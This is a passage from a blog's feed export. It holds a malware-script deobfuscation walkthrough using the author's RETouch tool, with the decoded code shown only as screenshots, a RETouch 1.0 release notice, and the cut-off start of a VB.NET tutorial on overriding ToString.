Next, I check the strings that this binary file contains.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYqyJypEpc7FqVGcZcIqCjIorcqrTEUZlmAcb6NEqoQEeyNNXbxLCx1lKpJ4BXzdnbgrrWT65Sshl6oICACuEcdbqTMnPqNUaZx3bYzp77E4eyROpViiAseTYsXSS0wJzWtMQlsnuqN1w/s1600/retouch-03-extractstrings.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYqyJypEpc7FqVGcZcIqCjIorcqrTEUZlmAcb6NEqoQEeyNNXbxLCx1lKpJ4BXzdnbgrrWT65Sshl6oICACuEcdbqTMnPqNUaZx3bYzp77E4eyROpViiAseTYsXSS0wJzWtMQlsnuqN1w/s640/retouch-03-extractstrings.jpg&quot; width=&quot;600&quot; height=&quot;398&quot; data-original-width=&quot;854&quot; data-original-height=&quot;531&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

One string catches the attention: &quot;powershell&quot;. Following strings look a lot like Base64 encoded data.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW4Z06prZXGM7krQ6OBvaRVuGOyT21zq5p4rOY79l58XNk04ltWqFAWaiIi5Yhy6rhVT2GbVw3QzwiEhjFbIwl3ZclxDNcNQJVyDoy8EZbT1SP-NaBndsJfeR9QMlDPNvOIwRA8YplzeY/s1600/retouch-04-extractedstrings.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW4Z06prZXGM7krQ6OBvaRVuGOyT21zq5p4rOY79l58XNk04ltWqFAWaiIi5Yhy6rhVT2GbVw3QzwiEhjFbIwl3ZclxDNcNQJVyDoy8EZbT1SP-NaBndsJfeR9QMlDPNvOIwRA8YplzeY/s640/retouch-04-extractedstrings.jpg&quot; width=&quot;600&quot; height=&quot;398&quot; data-original-width=&quot;854&quot; data-original-height=&quot;531&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

To extract Base64 data, I open binary file in hex view mode. After locating string &quot;powershell&quot;, I select following text until I found &#39;=&#39;-character.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtLOd2eBQ6mNY09090ck4Ff8j3vR6V8Stzx4oCL2rO9dcNgwsT5GZJnklOb6bPD_DBdJHqSVnASUxbu4HUtSrbQqqz9qbA-dOsDfaeIkksv9VS6pymuUBWR9vx-2wjGQZ2KZ6-anf3YMo/s1600/retouch-05-selectinghex.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtLOd2eBQ6mNY09090ck4Ff8j3vR6V8Stzx4oCL2rO9dcNgwsT5GZJnklOb6bPD_DBdJHqSVnASUxbu4HUtSrbQqqz9qbA-dOsDfaeIkksv9VS6pymuUBWR9vx-2wjGQZ2KZ6-anf3YMo/s640/retouch-05-selectinghex.jpg&quot; width=&quot;600&quot; height=&quot;428&quot; data-original-width=&quot;811&quot; data-original-height=&quot;542&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

I paste the text I copied from the hex view and convert Base64 to binary data.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG1Lsz3AcQ8Z-i0NFyD_FBNMLrUY2fwDseqPT7yWbmHBAOxFiMz4nTz-UJCG8-Xss30gLK_bZW_62U6vXvDZRJGxIpmZ8WogZlQin_mgc4ZfJ2RunN_KDgXLnuP0nb38uGe-an6KqPs9I/s1600/retouch-06-convertbase64.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG1Lsz3AcQ8Z-i0NFyD_FBNMLrUY2fwDseqPT7yWbmHBAOxFiMz4nTz-UJCG8-Xss30gLK_bZW_62U6vXvDZRJGxIpmZ8WogZlQin_mgc4ZfJ2RunN_KDgXLnuP0nb38uGe-an6KqPs9I/s640/retouch-06-convertbase64.jpg&quot; width=&quot;600&quot; height=&quot;399&quot; data-original-width=&quot;854&quot; data-original-height=&quot;532&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

Converted data&#39;s hex dump seems to have value zero in almost every second value. This indicates that hex dump could be Unicode encoded text.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3-LkpWAMsrYQL4eqN8Dxfyha3xQIiqplYxfag-gGXb6F1ZaPP0Xoz80wfQADQ7g38aNHq1PpxoyWSFYXQF_4Cux4DecaYxNkmwrsEyshiu_AEeUid03UXy70a04s_lcZfSnAF9bOnaYs/s1600/retouch-07-encodingunicode.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3-LkpWAMsrYQL4eqN8Dxfyha3xQIiqplYxfag-gGXb6F1ZaPP0Xoz80wfQADQ7g38aNHq1PpxoyWSFYXQF_4Cux4DecaYxNkmwrsEyshiu_AEeUid03UXy70a04s_lcZfSnAF9bOnaYs/s640/retouch-07-encodingunicode.jpg&quot; width=&quot;600&quot; height=&quot;399&quot; data-original-width=&quot;854&quot; data-original-height=&quot;532&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

The text really was Unicode encoded. Now I have PowerShell code which builds a string from numeric char values. I select only string building part of the code and execute the PowerShell code.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkJIAqnEN0CqKWTukDoaLS_vENRCsT6PJFFteORZzLWLXLnpozesPap3MO4EfJ3V0HTJfShEQ29AGBGMJ6AWoYoG4g4ZxW1pE6BZWh2kAEzvPfA9Ucln1dtn5OvDs7PmE4H17yTxscFwo/s1600/retouch-08-execpowershell.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkJIAqnEN0CqKWTukDoaLS_vENRCsT6PJFFteORZzLWLXLnpozesPap3MO4EfJ3V0HTJfShEQ29AGBGMJ6AWoYoG4g4ZxW1pE6BZWh2kAEzvPfA9Ucln1dtn5OvDs7PmE4H17yTxscFwo/s640/retouch-08-execpowershell.jpg&quot; width=&quot;600&quot; height=&quot;427&quot; data-original-width=&quot;758&quot; data-original-height=&quot;506&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

This gets the final unobfuscated code.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf3xE8ty9UbvoHrNvABaRiF8shmSa7ImBVskskjOpeWk9WIZK-vR8CQWK1GCm-k7aERyXH3MR0dRzZbypvDi6ul27e1Zp7BPqZlJsvKDapI0taB3nP_2zOi-Y_xjoF4SMcUYKByRJrkRU/s1600/retouch-09-finalresult.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf3xE8ty9UbvoHrNvABaRiF8shmSa7ImBVskskjOpeWk9WIZK-vR8CQWK1GCm-k7aERyXH3MR0dRzZbypvDi6ul27e1Zp7BPqZlJsvKDapI0taB3nP_2zOi-Y_xjoF4SMcUYKByRJrkRU/s640/retouch-09-finalresult.jpg&quot; width=&quot;600&quot; height=&quot;427&quot; data-original-width=&quot;758&quot; data-original-height=&quot;506&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

What the code actually does is not relevant now. The relevant thing in here is that RETouch has done its job.
</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/3797556859891840832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/3797556859891840832' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/3797556859891840832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/3797556859891840832'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/04/a-sample-analysis-walkthrough-with.html' title='A sample analysis walkthrough with RETouch'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh03HSGj6n9uza13wG4HlKd1y7i72SIx1hyphenhyphendje9w9_3Sfv8Gog816ISlGDty76gYVnr8vOboWzFbU_QFx-EeWyhGXO4TlCN6i9Mt9-RVzDBcuOnvOPUwLo3HcKhF5wf0IzGsLqcUOUkM2E/s72-c/retouch-01-checksums.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-7041347820363163208</id><published>2018-04-05T16:01:00.000-07:00</published><updated>2018-04-05T16:39:57.631-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="deobfuscation"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="RETouch"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><title type='text'>RETouch 1.0 released</title><content type='html'>&lt;a href=&quot;https://github.com/Teme64/RETouch&quot;&gt;RETouch&lt;/a&gt; is a windows application for deobfuscating and analyzing malicious scripts. Malicious scripts are commonly the first step of malware infection. Since script files are text-based, RETouch has functionality to handle texts and strings. For binary analyses there are plenty of excellent applications available.

RETouch aims to be
• extendible with scripting
• &quot;umbrella&quot; for external applications

Because malware and malicious scripts evolve quickly, the core functionality is just not enough. That is why RETouch provides easy scripting to extend its core functions.

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhblInD1neABuKML3TBWjHfjExYdyqgYEGP0YTHYdKPwXedFYKDxmM14b1CYYD537Ft4cME66XJ22_ES_3eUhbl02Xfu44NxK10FSFp8zf7tuotLXRwyj7Mr71DHLOq4BG_I8WRVoXnG2Y/s1600/REtouch-05.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhblInD1neABuKML3TBWjHfjExYdyqgYEGP0YTHYdKPwXedFYKDxmM14b1CYYD537Ft4cME66XJ22_ES_3eUhbl02Xfu44NxK10FSFp8zf7tuotLXRwyj7Mr71DHLOq4BG_I8WRVoXnG2Y/s400/REtouch-05.jpg&quot; width=&quot;600&quot; height=&quot;392&quot; data-original-width=&quot;797&quot; data-original-height=&quot;522&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

Like any software with version number 1.0 this is far from perfect. I have started to program the next version with some features I left from version 1.0.

</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/7041347820363163208/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/7041347820363163208' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7041347820363163208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7041347820363163208'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/04/retouch-10-released.html' title='RETouch 1.0 released'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhblInD1neABuKML3TBWjHfjExYdyqgYEGP0YTHYdKPwXedFYKDxmM14b1CYYD537Ft4cME66XJ22_ES_3eUhbl02Xfu44NxK10FSFp8zf7tuotLXRwyj7Mr71DHLOq4BG_I8WRVoXnG2Y/s72-c/REtouch-05.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-6216520713816050293</id><published>2008-11-27T02:02:00.001-08:00</published><updated>2008-11-27T02:03:41.074-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="CSharp"/><category scheme="http://www.blogger.com/atom/ns#" term="Format"/><category scheme="http://www.blogger.com/atom/ns#" term="Inherit"/><category scheme="http://www.blogger.com/atom/ns#" term="Overload"/><category scheme="http://www.blogger.com/atom/ns#" term="Override"/><category scheme="http://www.blogger.com/atom/ns#" term="ToString"/><category scheme="http://www.blogger.com/atom/ns#" term="VB.NET"/><title type='text'>Program your own ToString method with VB.NET</title><content type='html'>&lt;p&gt;Every built-in type in VB.NET environment has a ToString method which returns a textual representation of the value. ToString method is declared to System.Object as&lt;/p&gt;  &lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Overridable&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; ToString() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; String&lt;/pre&gt;
&lt;style type=&quot;text/css&quot;&gt;



.csharpcode, .csharpcode pre
{
 font-size: small;
 color: black;
 font-family: consolas, &quot;Courier New&quot;, courier, monospace;
 background-color: #ffffff;
 /*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
 background-color: #f4f4f4;
 width: 100%;
 margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;and very class that inherits from System.Object inherits ToString method too. Since ToString method is declared as Overridable, inherited classes typically override this base method. Besides inheriting ToString method it is also overloaded with method that accepts a &lt;em&gt;format string&lt;/em&gt; as a parameter. More information about format strings for ToString method can be found in MSDN. Here&#39;s a link to &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/1fd69cbc(VS.80).aspx&quot; target=&quot;_blank&quot;&gt;Int64.ToString method&lt;/a&gt; with format string. The same MSDN page contains also examples for formatting numbers, dates and time. Examples are provided to both VB.NET and C#.&lt;/p&gt;

&lt;p&gt;When you write your own classes in VB.NET, there&#39;s nothing to prevent that you write your own ToString method too. Here&#39;s a simple PersonName class that implements ToString method. &lt;/p&gt;

&lt;pre class=&quot;csharpcode&quot;&gt;&lt;span class=&quot;kwrd&quot;&gt;Option&lt;/span&gt; Explicit &lt;span class=&quot;kwrd&quot;&gt;On&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Option&lt;/span&gt; Strict &lt;span class=&quot;kwrd&quot;&gt;On&lt;/span&gt;
&lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Class&lt;/span&gt; PersonName

  &lt;span class=&quot;kwrd&quot;&gt;Private&lt;/span&gt; _FirstName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;kwrd&quot;&gt;Private&lt;/span&gt; _LastName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;New&lt;/span&gt;()
    &lt;span class=&quot;rem&quot;&gt;&#39; Initialize class&lt;/span&gt;
    _FirstName = &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
    _LastName = &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;New&lt;/span&gt;(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; FirstName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;, &lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; LastName &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;)
    &lt;span class=&quot;rem&quot;&gt;&#39; Initialize class&lt;/span&gt;
    _FirstName = FirstName
    _LastName = LastName

  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Sub&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Property&lt;/span&gt; FirstName() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
    &lt;span class=&quot;rem&quot;&gt;&#39;&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Get&lt;/span&gt;
      &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; _FirstName
    &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Get&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Set&lt;/span&gt;(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; value &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;)
      _FirstName = value
    &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Set&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Property&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Property&lt;/span&gt; LastName() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Get&lt;/span&gt;
      &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; _LastName
    &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Get&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Set&lt;/span&gt;(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; value &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;)
      _LastName = value
    &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Set&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Property&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Overrides&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; ToString() &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
    &lt;span class=&quot;rem&quot;&gt;&#39; Return name as a string&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempStr &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;

    TempStr = &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; _FirstName.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
      TempStr = _FirstName
    &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; _LastName.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
      &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; TempStr.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
        &lt;span class=&quot;rem&quot;&gt;&#39; Add space between names&lt;/span&gt;
        TempStr = TempStr &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt; &amp;amp; _LastName
      &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
        TempStr = _LastName
      &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Return&lt;/span&gt; TempStr

  &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt;

  &lt;span class=&quot;kwrd&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Overloads&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Function&lt;/span&gt; ToString(&lt;span class=&quot;kwrd&quot;&gt;ByVal&lt;/span&gt; Format &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;) &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;
    &lt;span class=&quot;rem&quot;&gt;&#39; Return name as a string&lt;/span&gt;
    &lt;span class=&quot;rem&quot;&gt;&#39; Format=&amp;quot;f&amp;quot;, &amp;quot;l&amp;quot;, &amp;quot;fl&amp;quot;, &amp;quot;lf&amp;quot;, &amp;quot;f,l&amp;quot;, &amp;quot;l,f&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Dim&lt;/span&gt; TempStr &lt;span class=&quot;kwrd&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;String&lt;/span&gt;

    TempStr = &lt;span class=&quot;str&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class=&quot;kwrd&quot;&gt;Select&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;Case&lt;/span&gt; Format
      &lt;span class=&quot;kwrd&quot;&gt;Case&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;f&amp;quot;&lt;/span&gt;
        TempStr = _FirstName
      &lt;span class=&quot;kwrd&quot;&gt;Case&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;l&amp;quot;&lt;/span&gt;
        TempStr = _LastName
      &lt;span class=&quot;kwrd&quot;&gt;Case&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;fl&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; _FirstName.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
          TempStr = _FirstName
        &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; _LastName.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
          &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; TempStr.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
            &lt;span class=&quot;rem&quot;&gt;&#39; Add space between names&lt;/span&gt;
            TempStr = TempStr &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt; &amp;amp; _LastName
          &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
            TempStr = _LastName
          &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
      &lt;span class=&quot;kwrd&quot;&gt;Case&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;lf&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; _LastName.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
          TempStr = _LastName
        &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; _FirstName.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
          &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; TempStr.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
            &lt;span class=&quot;rem&quot;&gt;&#39; Add space between names&lt;/span&gt;
            TempStr = TempStr &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot; &amp;quot;&lt;/span&gt; &amp;amp; _FirstName
          &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
            TempStr = _FirstName
          &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
      &lt;span class=&quot;kwrd&quot;&gt;Case&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;f,l&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; _FirstName.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
          TempStr = _FirstName
        &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; _LastName.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
          &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; TempStr.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
            &lt;span class=&quot;rem&quot;&gt;&#39; Add space between names&lt;/span&gt;
            TempStr = TempStr &amp;amp; &lt;span class=&quot;str&quot;&gt;&amp;quot;, &amp;quot;&lt;/span&gt; &amp;amp; _LastName
          &lt;span class=&quot;kwrd&quot;&gt;Else&lt;/span&gt;
            TempStr = _LastName
          &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt;
      &lt;span class=&quot;kwrd&quot;&gt;Case&lt;/span&gt; &lt;span class=&quot;str&quot;&gt;&amp;quot;l,f&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;kwrd&quot;&gt;If&lt;/span&gt; _LastName.Length &amp;gt; 0 &lt;span class=&quot;kwrd&quot;&gt;Then&lt;/span&gt;
          TempStr = _LastName
